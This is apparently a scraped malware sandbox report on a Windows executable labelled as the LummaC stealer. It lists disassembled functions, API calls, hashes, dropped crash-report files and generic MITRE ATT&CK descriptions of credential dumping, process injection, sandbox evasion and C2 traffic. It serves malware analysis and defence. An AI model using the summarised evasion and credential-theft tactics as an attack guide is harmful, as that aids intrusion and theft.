
APIs

WriteConsoleW.KERNEL32(00000000,00455523,00000000,00000000,00000000,?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000), ref: 0045BD1F
GetLastError.KERNEL32(?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000,?,?,?,00450492,00443CFB), ref: 0045BD2B

Part of subcall function 0045BD7C: CloseHandle.KERNEL32(FFFFFFFE,0045BD3B,?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000,?,?), ref: 0045BD8C

___initconout.LIBCMT ref: 0045BD3B

Part of subcall function 0045BD5D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0045BCF9,00459F57,?,?,00450B47,?,00455523,00000000,?), ref: 0045BD70

WriteConsoleW.KERNEL32(00000000,00455523,00000000,00000000,?,00459F6A,00000000,00000001,00000000,?,?,00450B47,?,00455523,00000000,?), ref: 0045BD50

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c2a2ecc1c2a42e22a3f830c2b4be3aaf5d7a6f5fb3480db1df2f59ef4a2b949f
Instruction ID: a34e4e029ef2e4d5dd3ba3bcd054cc3c3a598788143b8b19420d5231d0b345e8
Opcode Fuzzy Hash: c2a2ecc1c2a42e22a3f830c2b4be3aaf5d7a6f5fb3480db1df2f59ef4a2b949f
Instruction Fuzzy Hash: 0CF0F836140119BBCF221F959C08ADA3F3AEF493A1F044021FE09D5171D7B28864ABD9

Function 0045962F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 004598A6

Strings

csm, xrefs: 00459939
csm, xrefs: 004598C8

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 2ddf6b46ba9927e19a1a0e06cd3d58e98e189ea3bbd4e4ea7d064f6212a0d210
Instruction ID: 4df6c2a030d07bf616ce91cf83237d0554f1a363a859cf179326f8a266afaebb
Opcode Fuzzy Hash: 2ddf6b46ba9927e19a1a0e06cd3d58e98e189ea3bbd4e4ea7d064f6212a0d210
Instruction Fuzzy Hash: 0E31C4B6400219EBCF269F51CC4096A7B65FF0A716B18419FFC5449323C73ACC66DB8A

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report I2BJhmJou4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_I2BJhmJou4.exe_7abd4b2ffccb829face88ca1d1d9f1e903b9_37ce086c_ac1319ab-d779-4ed1-ae4c-b7b64b7db42d\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40BD.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER414B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER417B.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Windows Analysis Report
I2BJhmJou4.exe

Function 00405AAA Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 448
stringCOMMON

Function 0040620B Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 445
stringCOMMON

Function 0042B9C5 Relevance: 16.7, Strings: 13, Instructions: 436
COMMON

Function 0040A928 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 475
stringCOMMON

Function 0042FD35 Relevance: 14.1, Strings: 11, Instructions: 308
COMMON

Function 004262A1 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 391
libraryCOMMON

Function 0040B129 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375
nativefileCOMMON